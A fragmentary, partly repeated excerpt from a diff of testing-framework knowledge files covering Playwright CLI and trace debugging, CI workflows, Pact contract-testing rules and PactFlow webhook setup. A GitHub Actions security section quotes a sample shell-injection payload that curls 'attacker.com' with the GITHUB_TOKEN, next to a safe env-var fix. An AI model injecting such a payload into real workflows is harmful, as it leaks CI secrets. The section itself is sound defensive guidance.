Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils: + +```bash +# Agent uses CLI to observe network traffic on the dashboard page +playwright-cli -s=tea-discover open https://app.com/dashboard +playwright-cli -s=tea-discover network +# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200 +playwright-cli -s=tea-discover close +``` + +```typescript +// Agent generates API tests using what it discovered, with playwright-utils +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('GET /api/users returns user list', async ({ apiRequest }) => { + const { status, body } = await apiRequest<User[]>({ + method: 'GET', + path: '/api/users', + }); + expect(status).toBe(200); + expect(body.length).toBeGreaterThan(0); +}); +``` + +**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line. + +### Debug a Failing Test (CLI Mode) + +```bash +# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output +npx playwright test --debug=cli +playwright-cli attach <session-id> +playwright-cli --session <session-id> step-over +``` + +With `--debug=cli`, the agent can: + +- Step through test execution in real-time +- Inspect the page's HTML source at each step +- Review network calls and console logs at the moment of failure +- Capture before/after snapshots without opening a browser + +### Investigate a Trace Artifact + +```bash +# Open a trace from CI or local runs — this starts a session +npx playwright trace open test-results/<run>/trace.zip + +# List all actions as a numbered tree (# column = 1-based ordinal) +npx playwright trace actions +# Output: # Time Action Duration +# 1 0:00.00 navigate(...) 120ms +# 2 0:00.12 fill(#email, ...) 45ms +# ... +# 9 0:01.50 expect(toBeVisible) ✗ 30s + +# Filter to failing assertions +npx playwright trace actions --grep="expect" + +# Drill into action #9 (the ordinal from the list above) +npx playwright trace action 9 + +# See the page snapshot after that action (valid: before | input | after) +npx playwright trace snapshot 9 --name after + +# Other useful subcommands +npx playwright trace errors # errors with stack traces +npx playwright trace requests --failed # failed network requests +npx playwright trace console --errors-only # console errors + +# Close when done (removes extracted data) +npx playwright trace close +``` + +### Autonomous Diagnostic Loop + +When TEA encounters a failing test in healing/review mode, the recommended investigation flow is: + +1. **Run with `--debug=cli`** to step through the failure and identify the failing action +2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact.

TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance. +- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits. + +Call `await browser.unbind()` when done to release the session (async — must be awaited). + +## Command Quick Reference + +| What you want to do | Command | +| ------------------------- | ------------------------------------------------ | +| Open a page | `open <url>` | +| See what's on the page | `snapshot` | +| Take a screenshot | `screenshot [--filename=path]` | +| Click something | `click <ref>` | +| Type into a field | `fill <ref> <text>` | +| Navigate | `goto <url>`, `go-back`, `reload` | +| Mock a network request | `route <pattern> --status=200 --body='...'` | +| Start recording a trace | `tracing-start` | +| Stop and save the trace | `tracing-stop` | +| Save auth state for reuse | `state-save auth.json` | +| Load saved auth state | `state-load auth.json` | +| See network requests | `network` | +| Manage tabs | `tab-list`, `tab-new`, `tab-close`, `tab-select` | +| Close the session | `close` | + +## When CLI vs MCP (Auto Mode Decision) + +| Situation | Tool | Why | +| ------------------------------------- | ---- | ---------------------------------- | +| "What's on this page?" | CLI | One-shot snapshot, no state needed | +| "Verify this selector exists" | CLI | Single check, minimal tokens | +| "Capture a screenshot for evidence" | CLI | Stateless capture | +| "Walk through a multi-step wizard" | MCP | State carries across steps | +| "Debug why this test fails" (healing) | CLI | `--debug=cli` + trace analysis | +| "Record a drag-and-drop flow" | MCP | Complex interaction semantics | + +## Related Fragments + +- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements) +- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them) +- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed) +- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage) +- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM) +- `visual-debugging.md` — Trace viewer usage (CLI captures traces) diff --git a/frameworks/bmad-test-architecture/src/workflows/testarch/bmad-testarch-atdd/resources/knowledge/playwright-config.md b/frameworks/bmad-test-architecture/src/workflows/testarch/bmad-testarch-atdd/resources/knowledge/playwright-config.md new file mode 100644 index 000000000..e4843cea5 --- /dev/null +++ b/frameworks/bmad-test-architecture/src/workflows/testarch/bmad-testarch-atdd/resources/knowledge/playwright-config.md @@ -0,0 +1,734 @@ +# Playwright Configuration Guardrails + +## Principle + +Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload.

The return value was either `undefined` (implicit return) or truthy + +So you can: + +```typescript +// Option 1: Use assertions only (recommended) +(event) => { + expect(event.processed).toBe(true); +}; + +// Option 2: Return boolean (also works) +(event) => event.processed === true; + +// Option 3: Mixed (assertions + explicit return) +(event) => { + expect(event.processed).toBe(true); + return true; +}; +``` + +### Example 3: Error Handling + +**Context**: Understanding the different error types. + +**Error Types:** + +```typescript +// RecurseTimeoutError - Predicate never returned true within timeout +// Contains last command value and predicate error +try { + await recurse(/* ... */); +} catch (error) { + if (error instanceof RecurseTimeoutError) { + console.log('Timed out. Last value:', error.lastCommandValue); + console.log('Last predicate error:', error.lastPredicateError); + } +} + +// RecurseCommandError - Command function threw an error +// The command itself failed (e.g., network error, API error) + +// RecursePredicateError - Predicate function threw (not from assertions failing) +// Logic error in your predicate code +``` + +**Custom Error Messages:** + +```typescript +test('custom error on timeout', async ({ recurse, apiRequest }) => { + try { + await recurse( + () => apiRequest({ method: 'GET', path: '/api/status' }), + (res) => res.body.ready === true, + { + timeout: 10000, + error: 'System failed to become ready within 10 seconds - check background workers', + }, + ); + } catch (error) { + // Error message includes custom context + expect(error.message).toContain('check background workers'); + throw error; + } +}); +``` + +### Example 4: Post-Polling Callback + +**Context**: Process or log results after successful polling. + +**Implementation**: + +```typescript +test('post-poll processing', async ({ recurse, apiRequest }) => { + const finalResult = await recurse( + () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }), + (res) => res.body.status === 'completed', + { + timeout: 60000, + post: (result) => { + // Runs after successful polling + console.log(`Job completed in ${result.body.duration}ms`);

+ + expect(inventoryResult.body.lastOrderId).toBeDefined(); +}); +``` + +### Example 7: Integration with API Request (Common Pattern) + +**Context**: Most common use case - polling API endpoints for state changes. + +**Implementation**: + +```typescript +import { test } from '@seontechnologies/playwright-utils/fixtures';

Manual healing captures these patterns for future automation. + +## Rationale + +**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites. + +**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application. + +**Why This Matters**: + +- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual

Interpolating them directly in `run:` blocks enables shell command injection. + +### Vulnerable vs Safe Pattern + +```yaml +# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)" +- name: Run tests + run: | + npx playwright test --grep "${{ inputs.test_ids }}" + +# ✅ SAFE — env var cannot break out of shell quoting +- name: Run tests + env: + TEST_IDS: ${{ inputs.test_ids }} + run: | + npx playwright test --grep "$TEST_IDS" +``` + +### Unsafe Contexts (require env: intermediary) + +- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs +- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.) +- `${{ github.head_ref }}` — PR source branch name (user-controlled) + +**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments. + +### Safe Contexts (safe from GitHub expression injection in run: blocks) + +- `${{ steps.*.outputs.* }}` — pre-computed by your own code +- `${{ matrix.* }}` — defined in workflow YAML +- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled +- `${{ secrets.* }}` — secret store, not user-injectable +- `${{ env.* }}` — already an env var + +> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks. + +--- + +## Pattern Examples + +### Example 1: GitHub Actions Workflow with Parallel Execution + +**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing. + +**Implementation**: + +```yaml +# .github/workflows/e2e-tests.yml +name: E2E Tests +on: + pull_request: + push: + branches: [main, develop] + +env: + NODE_VERSION_FILE: '.nvmrc' + CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} + +jobs: + install-dependencies: + name: Install & Cache Dependencies + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Cache node modules + uses: actions/cache@v4 + id: npm-cache + with: + path: | + ~/.npm + node_modules + ~/.cache/Cypress + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + restore-keys: | + ${{ runner.os }}-node- + + - name: Install dependencies + if: steps.npm-cache.outputs.cache-hit != 'true' + run: npm ci --prefer-offline --no-audit + + - name: Install Playwright browsers + if: steps.npm-cache.outputs.cache-hit != 'true' + run: npx playwright install --with-deps chromium + + test-changed-specs: + name: Test Changed Specs First (Burn-In) + needs: install-dependencies + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for accurate diff + + - name: Setup Node.js + uses: actions/setup-node@v4 + with: + node-version-file: ${{ env.NODE_VERSION_FILE }} + cache: 'npm' + + - name: Restore dependencies + uses: actions/cache@v4 + with: + path: | + ~/.npm + node_modules + ~/.cache/ms-playwright + key: ${{ env.CACHE_KEY }} + + - name: Detect changed test files + id: changed-tests + run: | + CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "") + echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT + echo "Changed specs: ${CHANGED_SPECS}" + + - name: Run burn-in on changed specs (10 iterations) + if: steps.changed-tests.outputs.changed_specs != '' + run: | + SPECS="${{ steps.changed-tests.outputs.changed_specs }}" + echo "Running burn-in: 10 iterations on changed specs" + for i in {1..10};

Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts. + +## Rationale + +Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks).

+// const order = await seedOrder({ userId: user.id, total: 100 }); +// +// await page.goto(`/orders/${order.id}`); +// await expect(page.getByText('Order Total: $100')).toBeVisible(); +// +// // No manual cleanup needed—fixture handles it automatically +// }); +``` + +**Key Points**: + +- Track all created resources in array during test execution +- Teardown (after `use()`) deletes all tracked resources +- Tests don't manually clean up—happens automatically +- Prevents test pollution and flakiness from shared state + +### Anti-Pattern: Inheritance-Based Page Objects + +**Problem**: + +```typescript +// ❌ BAD: Page Object Model with inheritance +class BasePage { + constructor(public page: Page) {} + + async navigate(url: string) { + await this.page.goto(url);

Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run.

Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

This is the command CI and developers run before pushing. See Example 10 for the `check-pact-determinism.sh` script itself. +- **`test:pact:consumer:run` is the fast inner command** for TDD loops (a single pass of the suite, no gate).

+``` + +**Key Points**: + +- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders) +- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form +- `setJsonBody` is equivalent to `setJsonContent({ body: ... })` + +### Example 6: One `addInteraction()` per `it()` Block (PactV4 Determinism Rule) + +**Context**: PactV4's `pact.addInteraction()` feeds the Rust FFI layer that writes interactions to the pact JSON. Chaining multiple `.addInteraction()...executeTest()` blocks inside a single `it()` — or otherwise registering multiple interactions before a single `executeTest` — causes the FFI to **non-deterministically drop whole interactions** (not individual fields) in roughly 1 out of N runs. The pattern passes locally, then fails intermittently in CI or at publish time with `Cannot change pact content for already published pact` once the dropped interaction reappears on a re-run. + +**Rule**: Exactly one `pact.addInteraction()` per `it()` block. For N interactions, write N `it()` blocks, or use `it.each(...)`. + +```typescript +// ❌ WRONG — two addInteraction() inside one it() — FFI non-deterministically drops one +it('handles movie lookup scenarios', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); + + // Sometimes this second interaction never makes it to the pact JSON: + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — one addInteraction() per it() +it('gets a movie by id', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +it('returns empty list when no movies exist', async () => { + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — parameterized via it.each for data-driven coverage +it.each([ + { id: 1, name: 'The Matrix' }, + { id: 2, name: 'Inception' }, +])('gets movie $id', async ({ id, name }) => { + await pact + .addInteraction() + .given('movie exists', { id, name }) + .uponReceiving(`a request to get movie ${id}`) + .withRequest('GET', `/movies/${id}`) + .willRespondWith(200, setJsonBody({ id: integer(id), name: string(name) })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); +``` + +**Key Points**: + +- **This rule stacks with two other MANDATORY vitest settings**: `fileParallelism: false` AND `pool: 'forks'` with `poolOptions.forks.singleFork: true`. All three are required and address different failure modes — `fileParallelism: false` prevents parallel workers from racing on the shared pact JSON; `pool: 'forks'` + `singleFork: true` prevents the Pact Rust FFI from leaking state across files (manifests as "request was expected but not received" flakes on Linux CI only); one-interaction-per-`it()` prevents the FFI from dropping interactions within a single test body. +- Symptom of violating this rule: the pact file is byte-different between otherwise-identical runs; `scripts/check-pact-determinism.sh` flags drift; PactFlow rejects a republish with `Cannot change pact content`. +- The rule applies to both HTTP consumer pacts (`PactV4`) and message consumer pacts (`MessageConsumerPact`). +- See `pact-consumer-framework-setup.md` Example 10 for the determinism gate that automatically catches violations of this rule. + +## Key Points + +- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)` +- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required) +- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement) +- **Date handling**: Date objects become ISO 8601 strings +- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them +- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety +- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API +- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders) +- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable +- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions. Use one `it()` per interaction or `it.each(...)` for parameterized cases.

The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally.

But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.

Manual healing captures these patterns for future automation. + +## Rationale + +**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites. + +**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application. + +**Why This Matters**: + +- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual

Status codes +3. Field names +4. Enum values +5. Required fields +6. Data types +7. Nested structures + +**Source priority**: Provider source code is most authoritative. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins. Document the discrepancy in the scrutiny evidence block (e.g., `OpenAPI shows 200 but handler returns 201; using handler behavior`) and flag it in the output JSON `summary` so it is discoverable by downstream consumers or audits. + +**Scrutiny Sequence** (for each endpoint in the coverage plan): + +1. **READ provider route handler and/or OpenAPI spec**: Find the handler file from `subagentContext.config.provider_endpoint_map` or by scanning the provider codebase. Also check for OpenAPI/Swagger spec files. Extract: + - Exact status codes returned (`res.status(201)` / OpenAPI `responses` keys) + - Response construction (`res.json({ data: ... })` / OpenAPI `schema`) + - Error handling paths (what status codes for what conditions) + +2. **READ provider type/model/DTO definitions**: Find the response type referenced by the handler or OpenAPI `$ref` schemas. Extract: + - Exact field names (`transaction_id` not `transactionId`) + - Field types (`string` ID vs `number` ID / OpenAPI `type` + `format`) + - Optional vs required fields (OpenAPI `required` array) + - Nested object structures (OpenAPI `$ref`, `allOf`, `oneOf`) + +3. **READ provider validation schemas**: Find Joi/Zod/class-validator schemas or OpenAPI request body `schema.required`. Extract: + - Required request fields and headers + - Enum/union type allowed values (`"active" | "inactive"` / OpenAPI `enum`) + - Request body constraints + +4. **Cross-reference findings** against consumer expectations: + - Does the consumer expect the same field names the provider sends? + - Does the consumer expect the same status codes the provider returns? + - Does the consumer expect the same nesting the provider produces? + +5. **Document scrutiny evidence** as a block comment in the generated test: + +```typescript +/* + * Provider Scrutiny Evidence: + * - Handler: server/src/routes/userHandlers.ts:45 + * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available) + * - Response type: UserResponseDto (server/src/types/user.ts:12) + * - Status: 201 for creation (line 52), 400 for validation error (line 48) + * - Fields: { id: number, name: string, email: string, role: "user" | "admin" } + * - Required request headers: Authorization (Bearer token) + */ +``` + +6. **Graceful degradation** when provider source is not accessible (follows the canonical four-step protocol from `contract-testing.md`): + 1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names + 2. **Pact Broker available** (when `pact_mcp` is `"mcp"` in `subagentContext.config`): Use SmartBear MCP tools to fetch existing provider states and verified interactions as reference + 3. **Neither available**: Generate from consumer types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually`. Set `provider_scrutiny: "pending"` in output JSON + 4. **Never silently guess**: Document all assumptions in the scrutiny evidence block + +> ⚠️ **Anti-pattern**: Generating response matchers from consumer-side types alone.

Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; serialization alone (via `fileParallelism: false`) is insufficient on the default threads pool in Vitest v1. Forks + `singleFork: true` runs every pact file in one subprocess with a coherent FFI handle and eliminated a reproducible Linux-CI flake on two repos (`pactjs-utils`, `seon-mcp-server`). Single-file consumer suites have not been observed to flake; this rule is still recommended as a future-proof.

GitHub warns against this for human users; for a locked-down machine-user PAT stored in PactFlow's secret vault, the security trade-off is documented and accepted. +- The alternative — rotating a PAT every 30/60/90 days — requires tooling and coordination most teams don't yet have. Long-lived + monitored + machine-user-owned is the pragmatic default. + +## Pattern Examples + +### Example 1: Webhook URL, Headers, and Body + +```json +{ + "description": "Notify <provider-repo> when a consumer contract requires verification", + "events": [{ "name": "contract_requiring_verification_published" }], + "provider": { "name": "<provider-pacticipant-name>" }, + "request": { + "method": "POST", + "url": "https://api.github.com/repos/<org>/<provider-repo>/dispatches", + "headers": { + "Accept": "application/vnd.github+json", + "Authorization": "Bearer ${user.githubToken}", + "Content-Type": "application/json", + "User-Agent": "PactFlow", + "X-GitHub-Api-Version": "2022-11-28" + }, + "body": { + "event_type": "contract_requiring_verification_published", + "client_payload": { + "pact_url": "${pactbroker.pactUrl}", + "sha": "${pactbroker.providerVersionNumber}", + "branch": "${pactbroker.providerVersionBranch}", + "consumer_name": "${pactbroker.consumerName}", + "consumer_version_number": "${pactbroker.consumerVersionNumber}", + "consumer_version_tags": "${pactbroker.consumerVersionTags}", + "consumer_version_branch": "${pactbroker.consumerVersionBranch}" + } + } + } +} +``` + +**Key Points**: + +- `${user.githubToken}` references a PactFlow **secret** stored in `Settings → Secrets` (web UI: `/settings/secrets`). The secret holds the classic PAT — never inline the token in the webhook body. +- `${pactbroker.*}` are PactFlow-injected template variables; the provider workflow reads them from `github.event.client_payload`. +- Use the `contract_requiring_verification_published` event (not `contract_published`) — the former fires only when a new pact _content_ change needs verification; the latter fires on every publish, including no-op republishes. + +### Example 2: Provider GitHub Actions Workflow (Triggered by Webhook) + +```yaml +# .github/workflows/contract-test-provider.yml +name: contract-test-provider + +on: + repository_dispatch: + types: [contract_requiring_verification_published] + push: + branches: [main] + +jobs: + verify: + runs-on: ubuntu-latest + env: + PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }} + PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }} + # Pulled from webhook client_payload when triggered by PactFlow: + PACT_PAYLOAD_URL: ${{ github.event.client_payload.pact_url }} + GITHUB_SHA: ${{ github.event.client_payload.sha || github.sha }} + GITHUB_BRANCH: ${{ github.event.client_payload.branch || github.head_ref || github.ref_name }} + steps: + - uses: actions/checkout@v4 + with: + # Check out the provider version known to the broker — this is the provider SHA PactFlow wants verified. + ref: ${{ github.event.client_payload.sha || github.sha }} + - uses: actions/setup-node@v4 + with: + node-version: 20 + - run: npm ci + - name: Run provider verification + run: npm run test:pact:provider + - name: Can I deploy provider? + if: github.event_name == 'push' + run: npm run can:i:deploy:provider +``` + +**Key Points**: + +- `repository_dispatch` is the event type emitted by GitHub when the webhook's REST call hits `/repos/<org>/<repo>/dispatches`. +- The `types` filter must match the webhook's `event_type` (`contract_requiring_verification_published` here). +- Checking out the provider version known to the broker (`providerVersionNumber`) ensures verification runs against the exact provider commit PactFlow registered — not whatever is on main. +- 